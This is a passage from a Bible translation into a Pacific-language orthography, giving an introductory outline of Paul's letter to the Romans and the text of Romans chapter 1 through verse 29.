tꞌatsꞌe̱ ꞌyani ji. To̱kuì xi nijèlai̱ji̱ Google xi je kàꞌmìlaìji̱n. Jè kꞌoa̱sꞌìn kinìjélai̱ji̱n Google nga lìkui katabꞌétjaó ꞌyani ji.\nKꞌia̱ nga lìkui bꞌaìꞌndai xi satiótjaò ya kichali̱ bꞌàꞌmìlai̱ji̱n Google nga katasìchajo̱n ngayije xi tꞌatsꞌi̱","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sanjosetenango.net\/index.php\/mau\/privacypolicy","date":"2023-06-06T01:53:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652207.81\/warc\/CC-MAIN-20230606013819-20230606043819-00772.warc.gz","language":"maa","language_score":0.9537370205,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"maa_Latn_score\": 0.9537370204925537, \"maj_Latn_score\": 0.036153703927993774}","num_words":220,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.186,"flagged_words_ratio":0.0,"lang_id_score":0.957,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Xi nchjani én jèbi kuinì xi bitjo ndso̱bꞌà kꞌia̱ nga nikjaàn axo̱ kꞌia̱ nga nichrianle̱ xìkjín xi tjióyà ndso̱bꞌà.\nJè xi kòtꞌayàsón tsò nga ngatsꞌiaà xi énná nòkjoa̱a chrjaꞌaòñoò kjoya josꞌìn josꞌìn nichjèn ndso̱bꞌaà nga nòkjoaà xi to̱choa ñꞌaini.\nKꞌoa̱ tjiósa xi kjaꞌaì jñani nga bꞌèkjoa̱a tsà jaò kꞌoa̱ tsà ján jko̱ya josꞌìn nòkjoa̱a\nTjió tsà xi nitjoaàn nichjèn, tjiò tsà xi ntjao̱ nòsje̱e ti̱ꞌani nga nòkjoa̱a axo̱ tsà maska̱nni nga je nòkjoa̱a, kꞌoa̱ti̱ tjió xi yásiaàn nroàni ntjao̱ xi nìchjèn.\nKꞌoa̱ti̱ tjió xi nitjoan bichonseñà ntjao̱, tsà ti̱ꞌani axo̱ tsà maskanni nga nòkjoa̱a, kꞌoa̱ti̱ tjìn jñani nga nìchjèn nitjoa̱n kao̱ ntjao̱ xi nroàni yásiaàn nga nòkjoa̱a.\nTjìn kꞌa xi tsì nroàtꞌa i̱ nga én kastìa xi nichjèn nga nòkjoa̱.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.sanjosetenango.net\/index.php\/mau\/%C3%A9nn%C3%A1\/consonantes","date":"2023-05-28T12:54:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643784.62\/warc\/CC-MAIN-20230528114832-20230528144832-00445.warc.gz","language":"maa","language_score":0.9936836958,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"maa_Latn_score\": 0.9936836957931519}","num_words":120,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.233,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kꞌia̱ nga énná jeè kjìn xá tjìn xi tꞌatsꞌe̱ énle̱ Niná. Xi to̱ ndꞌai̱ jeè me tjió yije énle̱ Nꞌai̱ná xi tjítꞌa ya kjoa̱téxoma chjo̱tse. Xi to̱ ndꞌai̱ to̱ ya kichali̱ koa̱n chótse̱nlai̱ axo̱ tsá meli̱ koa̱an chꞌasjai nga xo̱n kuitjotꞌa.\nI̱bi koansjailì ngayije xá jèbi.\nTI̱SENNAÌ SÉN XI TJIÓ I̱ JMÉNI KOA̱N CHÓTSE̱NNILAI̱ XI MELÌ\nKuiì ngaño xo̱n xi tjió títjòn ya kjoa̱tèxoma chjo̱tse, kuiì xi tsòya tꞌatsꞌe̱ kjoa̱binacho̱nle̱ Jesús, ngs jngò jngó kjaꞌaì kjaꞌaì chjo̱ta̱ xi kiski, kjaꞌaaì kjaꞌaì sꞌìn kisìꞌise̱nle̱ Niná nga kiski én xi ya nroátꞌa\nXi kisꞌin chjo̱ta̱le̱ Jesús\nI̱i xo̱n jèbi̱ nroátꞌa josꞌìn kisixá jè Sénnichrji̱n Tsje kꞌia nga kisichjèn jè chjo̱ta̱ xi xá kisìkasénni jè Nainá Jesús. Jè xá jèbi kꞌiaà kꞌoa̱koa̱n kꞌia̱ nga sꞌa tsakꞌètsꞌia jè na̱xi̱nandále̱ Jesucristo ni̱chrji̱n kjoàtse\nXo̱n xi kiski chjo̱ta̱le̱ Jesús\nJokji tse tsakatió jè chjo̱ta̱ xi xá kisìkasènni Jesús, kisikasènle̱ xo̱n jè na̱xi̱nandále̱ Jesucristo xi tsakatió nga kꞌia, jè én xi kiski jeè Sénnichrji̱n Tsje kisìꞌise̱nle̱, jè xo̱n jèbi̱ to̱jo̱ tjìnle̱ nganꞌió nga̱ énle̱ Ninánì, kuiì xi tsóyaná jósꞌìn koa̱nkjaìnná kꞌoa̱ jósꞌìn sꞌia̱an jña biyojtián.\nXi kisakosòntse̱nle̱ Juan\nKuiì jèbi̱ jé xo̱n xi fetꞌani ya̱ xo̱n énle̱ Niná, jè Juan kiski, jngo̱ chjo̱ta̱ xi xá kisìkasènni Jesús, jè na̱xi̱nandále̱ Jesucristo kisìkasénle̱, nga kꞌia nꞌió tse kjoa̱ñꞌain tjiófaꞌatojin, kao̱ xo̱n jèbi jè Sénnichrji̱n Tsje tìsíkinje̱n nchꞌán ni̱ma̱le̱ na̱xi̱nandále̱ nga tìtsóle̱ nga jè Cristo sikinjènle̱ jè kjoa̱ xi chꞌao̱ tjìn kꞌoa̱ kꞌoa̱ati̱ kuinje̱nle̱ na̱xo̱nandále̱.\nJè sén xi nroátꞌa i̱bi̱ yaà kitjoéni ya̱ play store kao̱ ya̱ www.flaticon.es","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.sanjosetenango.net\/index.php\/mau\/s%C3%A8n-xi-tj%C3%ACn\/xo%CC%B1n","date":"2023-05-28T13:35:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643784.62\/warc\/CC-MAIN-20230528114832-20230528144832-00573.warc.gz","language":"maa","language_score":0.9916055799,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"maa_Latn_score\": 0.9916055798530579}","num_words":248,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.23,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"¡Jta̱le̱ Nainá Jesucristo tìnoꞌyále̱e ngakjijndà ꞌnde énná!\nJngo sꞌuì kisꞌe kanjin sá mayo, nó jaó jmi kao̱ kanjaó, jngo kjoa̱nda kisokoná xi chjo̱ta̱ én ꞌmìná: Jè Énndale̱ Nainá Jesucristo, xi ño mani, kiskaya ndsa̱a, xoñoaà kao̱ ni̱ma̱ná, nga kitjotꞌa xo̱n nga énná.\n«Bꞌaìlai̱ji̱n kjoa̱nda Niná nga jeè kiskaya ndsai̱ji̱n jè énndale̱ Jesucristo, xi je jaó jmi nó kinchja jè Nainá Jesús. Ninga je jaꞌato nó, je én jèbi to̱jo tìjnako̱on, kꞌoa̱ kꞌoéjnako̱on ya ji̱nle̱ chjo̱ta̱ xi énná nchja̱ nga̱ jeè kàfaꞌai Énndale̱ Nainá Jesucristo nga énná» (Severo M., kuiì xá tìsꞌìn nga t}isìkꞌatoya énle̱ Niná nga énná).\nNga kui nichrji̱n tsꞌatoò kan naxinandále̱ Jesucristo koanxkó xi kjaꞌaì kjaꞌaì ꞌnde jaꞌaini kꞌoa̱ xi kjaꞌaì kjaꞌaì jtìn kinroani, xi to̱jngo xá koanjtìni: Nga kꞌoaile̱ énndale̱ Nainá Jesucristo nga énná. Mela jaon ciento chjo̱ta̱ koanxkó nga kꞌia, kise, tsakꞌéxkia énle̱ Nainá nga énná.\nKjiìn nichrjin tiꞌani kisꞌendayaà ngayije xá jebi, nga jngò jngó jtìn tsen kitsjoaà nganꞌió jo tje̱n kji kichó nganꞌióle̱. Nꞌió koantsjoale̱ kꞌia nga kitsaoya ntsja jè énndale̱ Nainá Jesucristo.\nNdꞌai nga je jaꞌai xo̱n jèbi, jè énndale̱ Nainá Jesucristo kuinòꞌyále̱ ngakjijndà ꞌndená, jméni nga jè chj‑ota̱ skoeni jme xi tìtsò jè Nainá nga énná.\n¡Kꞌia nga ꞌyaxkoaàn Jesús nga éná, jè soaà Niná xi tìnoꞌyàle̱e nga tìjnajinná!\nI̱ koa̱n chótse̱nlai̱ jó koa̱n nga kisꞌejna sꞌuì jèbi:","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.sanjosetenango.net\/index.php\/mau\/s%C3%A8n-xi-tj%C3%ACn\/xo%CC%B1n\/%C3%A9nndale%CC%B1-jesucristo\/s%EA%9E%8Cu%C3%AC-xi-t%EA%9E%8Cats%EA%9E%8Ce%CC%B1-%C3%A9n-nda-le%CC%B1-jesucristo","date":"2023-05-28T12:04:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643784.62\/warc\/CC-MAIN-20230528114832-20230528144832-00623.warc.gz","language":"maa","language_score":0.920290947,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9202909469604492, \"mau_Latn_score\": 0.0743681862950325}","num_words":216,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":0.866,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Xi chjo̱ta̱ én ꞌmìná to̱ ngìsꞌaà nga ná nga nókjoa̱ nga nìkꞌatoyale̱e xìngiaà tsà jme kjoa̱ꞌaìtsje̱nni, kuiì kjoa̱ nga tsakꞌèninilai̱ji̱n yao̱naji̱n nga tìtjoè jta̱ jméni nga koa̱an kuinòꞌyànilao̱o jè énle̱ Niná nga énná, kꞌoa̱ jeè koa̱n skoe̱ jme xi tìtsó Niná jè chjo̱ta̱ xi tsì male̱ bꞌèxkia̱.\nKꞌoa̱ti̱ koa̱ kuinòꞌyálai̱ jè kjoa̱jnda xi je tjìn nga énná, koa̱an kuinòꞌyàlai i̱ kꞌoa̱ kꞌoa̱ti̱ koa̱n chꞌajai̱n, koa̱an nikꞌatolai̱ ýa xi melì.\nTISENNÈLAI JÑANILE̱ XI MELÌ:","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.sanjosetenango.net\/index.php\/mau\/s%C3%A8n-xi-tj%C3%ACn\/xi-no%EA%9E%8Cy%C3%A0le%CC%B1e","date":"2023-05-28T13:13:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643784.62\/warc\/CC-MAIN-20230528114832-20230528144832-00755.warc.gz","language":"maa","language_score":0.9958127141,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"maa_Latn_score\": 0.995812714099884}","num_words":73,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.247,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Naskàna fane kjoa̱jnda kꞌoa̱ xi chjo̱ta̱ ꞌmìná tsjoachañà nga noꞌyàle̱e, kao̱o kuì ꞌmìya jme xi tjìn jin ni̱ma̱ná, kꞌoa̱ jme̱ xi tìnìkꞌaìtsje̱en. Xi chjo̱ta̱ én ꞌmìná jeè kjuàtse nga nìchjèn jè kjoa̱nda jè.\nI̱bi̱ sokòlì jè kjoa̱jnda xi je tjìn nga énná, tsjoà nganꞌióle̱ ni̱ma̱li̱ kao̱ Sénnichrji̱nli̱, koa̱n kuinòꞌyàlai̱ i̱bi̱, kꞌoa̱ti̱ koa̱ kuicho̱njai̱n tsà melì nikꞌatolai̱ mìyoli̱.\nTi̱senaì i̱ ngini tsà melì kuicho̱njen yejai:\nTjìn kꞌa sèn xi tjió i̱ xi ya kitjoéni ya www.pngitem.com","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.sanjosetenango.net\/index.php\/mau\/xi-ma-jnd%C3%A1-nga-%C3%A9n%E2%80%91n%C3%A1","date":"2023-05-28T13:24:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643784.62\/warc\/CC-MAIN-20230528114832-20230528144832-00500.warc.gz","language":"maa","language_score":0.9990667701,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"maa_Latn_score\": 0.9990667700767517}","num_words":75,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Jè én xi choa ñꞌai nòkjoa̱akuinì kuinì xi ts}i sꞌekjao̱ kꞌia̱ nga nòkjoa̱a, joni kꞌia̱ nga nitjoaàn nichjèn axo̱ kꞌia nga ntjao̱ nòsje̱e nga nòkjoa̱a.\nI̱sꞌìn chji én jèbi: ꞌ, b, ch, chr (tx), f, j, k, l, m, n, ñ, r, s, t, ts, x, y. Tjìn kꞌa xi tsì nroá i̱ nga én kastìa xi nòkjoa̱a kꞌia nga kui nìchjèn.\nI̱ chòtsenjìnle̱e jñànile̱ én jèbi.\nA. Én xi tìtjón bꞌechjoàle̱ ntjao̱.\nKꞌia̱ nga nòkjoa̱a én jèbi tìtjón bꞌèchjoàle̱e ntjao̱, tsà kao̱ ndso̱bꞌà axo̱ tsà kao̱ nije̱en kꞌoa̱ xi ma bꞌendꞌeèle̱ nga bitjo.\nKꞌia̱ nga énná kuiì jèbi xi ya faꞌasꞌen: t, k, ꞌ, d, g\nXi ꞌmì kꞌia̱a bitjo kꞌia̱ nga jè nije̱en katꞌale̱ niñꞌoaà, bꞌèchjoà ngotjòle̱ jta̱nà kꞌoa̱ xi ma bꞌèꞌnde̱elè nga bitjo.\nKꞌia̱ nga nòkjoa̱a xi \/k\/ ꞌmì ya jto̱nle̱ nijeèn yaà nikatꞌale̱e ya ngꞌale̱ ndso̱bꞌa, bꞌèchjoà ngotjòle̱e jta̱ná kóa̱ xi je ma bichonje̱n nijeèn jmèni nga bitjoni jta̱nà.\nJè xi kao̱ xi ꞌmì kao̱o nitjoàn nòkjoa̱a, kꞌia̱a chòts‑enle̱ jèbi kꞌia̱ nga je kuìchoa xi kui. Jè xi yásiaàn chꞌasjenià ntjao̱ kꞌoa̱ti xìn chòtsenjìnle̱e.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sanjosetenango.net\/mau\/%C3%A9nn%C3%A1\/consonantes\/consonantes-simples","date":"2023-06-06T02:08:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652207.81\/warc\/CC-MAIN-20230606013819-20230606043819-00523.warc.gz","language":"maa","language_score":0.9687616229,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"maa_Latn_score\": 0.9687616229057312, \"maj_Latn_score\": 0.015453106723725796, \"vmy_Latn_score\": 0.010292324237525463}","num_words":181,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Énle̱ Niná xi bꞌakao̱le̱ ndꞌai̱\nEncaminará a los humildes por el juicio; y enseñará a los mansos su carrera.Salmos 25:9\nI̱ sokòlì nkjìn xá xi kjimaxákao̱ xi tꞌatsꞌe̱ énná, sókólì xi tꞌatsꞌe̱ na̱xi̱nandàná kꞌoa̱ti̱ nroà xi tꞌatsꞌe̱ énná, jè én xi nòkjoa̱ Ndꞌe Nchꞌoà, Tejao kao̱ Ndà Xó. Ngayije xi nroà i̱ kuiì xále̱ nga koa̱nngaba énná, nga lìkui jchangi kꞌoa̱ nga katama sale̱ chjo̱ta̱.\nTsà koa̱nná sichjèn énná nꞌiò tse kjoa̱nda xi sokòná, nga̱ kjoa̱ꞌato̱le̱ jè xi sꞌa xti kjoa̱ꞌaitse̱nle̱ chjo̱ta̱ jchìnganà xi machjènle̱ na̱xi̱nandaná.\nChòtsenjìnlai̱ xi nya i̱.\n¡¡Nda kàfaꞌai̱!!","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sanjosetenango.net\/mau\/Nda%20k%C3%A0fa%EA%9E%8Cai%CC%B1","date":"2023-12-04T10:21:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100527.35\/warc\/CC-MAIN-20231204083733-20231204113733-00069.warc.gz","language":"maa","language_score":0.9068223238,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"maa_Latn_score\": 0.9068223237991333, \"maj_Latn_score\": 0.04606853798031807, \"mau_Latn_score\": 0.04044155403971672}","num_words":91,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":0.929,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Énle̱ Niná xi bꞌakao̱le̱ ndꞌai̱\nY el yelmo de salud tomád, y la espada del Espíritu, que es la palabra de Dios:Efesios 6:17\nI̱ sokòlì nkjìn xá xi kjimaxákao̱ xi tꞌatsꞌe̱ énná, sókólì xi tꞌatsꞌe̱ na̱xi̱nandàná kꞌoa̱ti̱ nroà xi tꞌatsꞌe̱ énná, jè én xi nòkjoa̱ Ndꞌe Nchꞌoà, Tejao kao̱ Ndà Xó. Ngayije xi nroà i̱ kuiì xále̱ nga koa̱nngaba énná, nga lìkui jchangi kꞌoa̱ nga katama sale̱ chjo̱ta̱.\nTsà koa̱nná sichjèn énná nꞌiò tse kjoa̱nda xi sokòná, nga̱ kjoa̱ꞌato̱le̱ jè xi sꞌa xti kjoa̱ꞌaitse̱nle̱ chjo̱ta̱ jchìnganà xi machjènle̱ na̱xi̱nandaná.\nChòtsenjìnlai̱ xi nya i̱.\n¡¡Nda kàfaꞌai̱!!","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/lenguamazateca.net\/index.php\/mau","date":"2023-11-29T12:53:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100081.47\/warc\/CC-MAIN-20231129105306-20231129135306-00618.warc.gz","language":"maa","language_score":0.9292471409,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9292471408843994, \"mau_Latn_score\": 0.0408729687333107, \"maj_Latn_score\": 0.023642130196094513}","num_words":94,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":0.943,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/maa_Latn/fineweb-2_000001_stas.jsonl b/maa_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..7d82e3b7abed3702c352e76ee94033d69eef0783 --- /dev/null +++ b/maa_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 579.0763688760807, + "character_repetition_ratio": 0.06126801152737753, + "word_repetition_ratio": 0.0007809798270893372, + "special_characters_ratio": 0.23507348703170028, + "stopwords_ratio": 0.29244092219020174, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.998465417867435, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 406.6039058380068, + "character_repetition_ratio": 0.025132219520082794, + "word_repetition_ratio": 0.0030614995416294102, + "special_characters_ratio": 0.012614390263944581, + "stopwords_ratio": 0.05734444034379138, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.008794702199906544, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 607.0, + "character_repetition_ratio": 0.066, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.235, + "stopwords_ratio": 0.306, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 1737.0, + "character_repetition_ratio": 0.136, + "word_repetition_ratio": 0.035, + "special_characters_ratio": 0.283, + "stopwords_ratio": 0.412, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 42.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.165, + "stopwords_ratio": 0.087, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.866, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 1099.8000000000002, + "character_repetition_ratio": 0.086, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.249, + "stopwords_ratio": 0.3487, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 848.0, + "character_repetition_ratio": 0.074, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.242, + "stopwords_ratio": 0.329, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 607.0, + "character_repetition_ratio": 0.066, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.235, + "stopwords_ratio": 0.306, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 70.25, + "character_repetition_ratio": 0.057, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.229, + "stopwords_ratio": 0.27325, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "total size": "694", + "keep size": "633", + "remove size": "61" + } +] \ No newline at end of file diff --git a/mmx_Latn/fineweb-2_000001_keep.jsonl b/mmx_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a6e513a6655b82283714f85ac22f99f96bc763e2 --- /dev/null +++ b/mmx_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,207 @@ +{"text":"Rom\nLovoang At Ne Pol Ti Limixin Nunu to Rom\nLevelinga Loklox Axasep\nLamaares 58 A.D.\nAnai ni lovoang at ne Pol ga malagan i rinedi limixin nunu diga nemen to Rom. Pol gak lok to Korin la ni ga malagan na lovoang, la melemu neni ga raba lara loono min, laasen teren ne Poebe. Neni ga xip ka na lovoang uto at lemenemen silok Rom gak lok at lenep silok Itali. Ap mo levenmaares lara laradi mo gat kis sisilok ti limixin to Rom diga so asen i do ne Kaisar. Amo lemenemen ni lemenemen silok.\nPol ga vara i xusu na lox ase dik do nedik axap limixin ata gara xapmek pam at lemeren ne Moroa, la ixo epovo do nedik ataban manton at leven gugu atdik kopla leveloklok nunuan atdik. Mo dola nedik ata nunu mene at ne Iesu Karisito, Moroa naba lox asepmus nedik basinge laxakapmek atdik la neni naba doxoma xepe laxapmek atdik. Pol ga vara i xusu neni nat pas uto Rom la nak lok go mi levempavang teren. Mo limixin nunu lentaba atnedi, boro Judaia la lentaba atnedi, nedi limixin Grik.\nLengkot silok keneng at na lovoang\n1:1-17 Lavasuun teren la ne Pol ga malagan i na lovoang.\n1:18–3:20 Kopmen teta naba lok ka lorooro avolo mi lolos axa ren.\n3:21–4:25 Lavatturunen ti lok ka lorooro avolo ni lununu mun.\n5:1–8:39 Lixitkis la lavatpas atnedi di lok ka lorooro maxat.\n9:1–11:36 Moroa naba ro ka amu manga limixin me Israel.\n12:1–15:13 Lorooro at laradi nunu.\n15:14–16:27 Lavapaase momo la levelinga loklox axap.\n1\nLavapaase Axasep\n1 *\nNenia ne Pol, lasaxaruki at ne Iesu Karisito, la nia lun pavang. Moroa ga soxolik ka ia la ga ro ka ia xusu ana vavang mi Lagale Lavavang teren. 2 *\nNa Lagale Lavavang ne Moroa ga vaase ali min ganoxa at levenngusno atdi lavaeme vapaase ali ren, la diga malagan li i xeneng at Lovoang Kaala, 3 *\nmumu ne Nitna ni Leeme Silok atnedik ne Iesu Karisito. Ni ga nemen ngan laradi mede at na lavatbung menemen, diga visik ka i at livipisik li at ne Devit. 4 *\nTi loklok teren gan manton tino, ne Iesu ga lok kaka laasen do Nitna ne Moroa at loxonaleng ni ga roo xat amlong basinge lanmet mi langsangan lolos teren. 5 *\nKeneng mun at ne Iesu la ti lox aurut laasen teren, Moroa ga raba ia mi letaba nabalamu ren kusu nia ana ru katling i ri lok lugugu ngan laradi vavang at ne Karisito. La ana sasar asu ka limixin boro xamang at limixin kopmen di me Judaia, kusu dinaba nunu ren la dinang tonga res teren. 6\nLa nemi bok limixin dom Rom, ne Moroa gara ro xaka vam nimi ri ne Iesu Karisito.\n7 *\nNia a malagan na levelinga rinemi axap mi nemen dom Rom. Moroa i balamu nimi la ga ro xaka nimi do nemi limixin axa ren.\nLetaba nabalamu la lenmila rinimi boro at ne Moroa ne Temen nedik, la Leeme Silok ne Iesu Karisito.\nLisingising Ti Tong Loklox Avukat\n8 *\nAvot be, nia a tong loklox avukat ti ne Moroa rak keneng at ne Iesu Karisito rinemi axap, atla limixin at lengkot axap at na lavatbung menemen di ronga levelinga mumu nom lununu atnemi. 9 *\nMoroa nia a gugu rin mi lorooro axap tarak, la nia a vavang mi Lagale Lavavang at ne Nitna. Neni iklen i do na levelinga rak i ruturun aleng do nia am doma amisik nimi, 10 *\nkeneng at levesingising tarak at levenaleng axap. Nia a ngising ne Moroa dola lodoxoma ren kuren, neni naba suang langas tia xusu anaba vot saparap tinotno ba nimi dom.\n11\nNia a vara aleng i do nia anaba ven nimi la ana raba nimi mi leveloklok tooro at Loroonan at ne Moroa ri lox alolos nimi. 12\nNia a doma i do dik atanaba elok tooro ela. Nemi minaba lox alolos ia mumu lununu atnemi la nenia anaba lox alolos nemi mumu lununu rak. 13 *\nLuvutnetak mi luvurinuk. Nia a vara i do mina xasep nunuan. Buaang laxanaleng nia agam doma i do anat pot pasa nimi, ketla lentaba lempanga ga tupe ia. Nia a vara i xusu ana vavang dom atnemi xusu teventaba dinaba nunu bok, kerekngan ia aga lox i ro at lengkot petpes kantubu at limixin kopmen di me Judaia.\n14 Nia a ruuna lugugu silok anaba lox i ri limixin axap, ti leme Grik la tinedi bok limixin petpes, ti limixin akleklen la tinedi bok kopmen takleklen solo atnedi. 15 Kuren la lodoxoma rak iplivi aleng, kusu ana vavang tinemi bok limixin mi nemen dom Rom.\nLolos At Lagale Lavavang\n16 *\nNia xopmen ana lok mamangan ti vavang mi Lagale Lavavang, atla ni lolos at ne Moroa ri lox arooro nedi axap di nunu, leme Judaia avot la melemu rinedi limixin kopmen di me Judaia. 17 *\nAtla Lagale Lavavang i lox asuusu i do ne Moroa ik lox anmanton limixin mi legesa ngas mene nga, neni lununu la kopmen tangas petpes bok ba, kerekngan Lovoang Kaala i tong i xeretna,\n\"Laradi ip sep sogo at ne Moroa mi lununu ren, ni naba roo su.\" Abk 2:4\nLoklok Kakapmek At Limixin\n18 *\nMoroa ira lox axasep pam i ri limixin axap dola neni ixot kis epen mi leveloklok kakapmek at limixin, atla nom loklok kakapmek atnedi i sasar angtang kaka di basinge luruturun at ne Moroa. Kuren la ni naba lox asi nom lebelemamao ren ti sev asongot di. 19 *\nMoroa i lox asongot di atla di xasep nunuan pam ap mo leveloklok teren ni i lox axasep di min. Moroa xa i lox axasep di min, 20 *\nga ru xaka i gano ne Moroa ga rudum li na lavatbung menemen, mo loklok eburu mi lolos lexen teren i nemen amisik. Limixin kopmen dina epovo na ven mo lolos eburu mi loklok teren, ketla di ven kakasep kaka i at levempanga ne Moroa ga rudum li i. Kuren la kopmen tevelinga atdi ri lox asepsu di basinge lebelemamao at ne Moroa.\n21 *\nDigaklen ne Moroa, ketla digoxo emi asu min kopla digita tong loklox avukat tin. Levendoxoma atnedi ga rebonot axap, la levendoxoma rangtangku atnedi ga umsu mi lubuxumin. 22 *\nDiga lok do nedi luvuttadi leklen. Ketla xopmen, nedi luvuttadi baulang mene. 23 *\nKopmen di goxo lotu saparap ne Moroa ruturun i rooro amisik. Ketla diga lotu saparap laxampoovo at luvuttadi mede xopok, la lavapixa eburu mi levempanga dit pas mi lavanuet kangkedek, kopla lempanga ngan laxangkavu.\n24 *\nMo limixin digang tangku xerepmo, kuren la ne Moroa ga ke xepe di ri lok leveloklok kakapmek maxamang at lixitkis epot ngan diga vavara rin. La i lok ngan bok pam nedi eburu diga lok lengkot mamangan la diga lox abilinga labantuxu atdi. 25 *\nDiga lox ekun luruturun at ne Moroa mi laxaxarang. Diga lotu saparap levempanga ne Moroa ga rudum li i, la diga domampe laradi runtudum kusu dina lotu saparav i. Leemi asu amisik tin la kopmen tekavaxap teren. Tuturun.\n26\nLimixin diga lox asu i mo loklok, kuren la ne Moroa ga ke xepe di ri mo leveloklok i lox asuusu langsangan lainmangan. Lavakin bok diga velongka, na ixo epovo do dina lox i. 27 *\nLa lavatlok bok kuren di goxopara nak midi eburu mi lavakin, la levendoxoma atnedi ga ngaongao xa ridi. Lavatlok diga lok levempanga mun mamangan, kuren la livipisik teren do diga ruuna ka levesongsongot ga epovo mi nom loklok kakapmek atnedi.\n28 La limixin di goxopara i do dinam tebeng lakleklen tuturun mumu ne Moroa. Kuren la ni ga ke xepe di ri mumu asu levendoxoma atdi xa i ekarakat, kerepmo la dik lok levempanga ixo epovo do dina lox i. 29 Di umsu mi laxanasen kakapmek axap, i ngan lodoxoma xapmek, loklok ti belegaao, la loklok kakapmek maxamang at lixitkis epot. Lorooro atdi i umsu mi loklok ngaongao ri 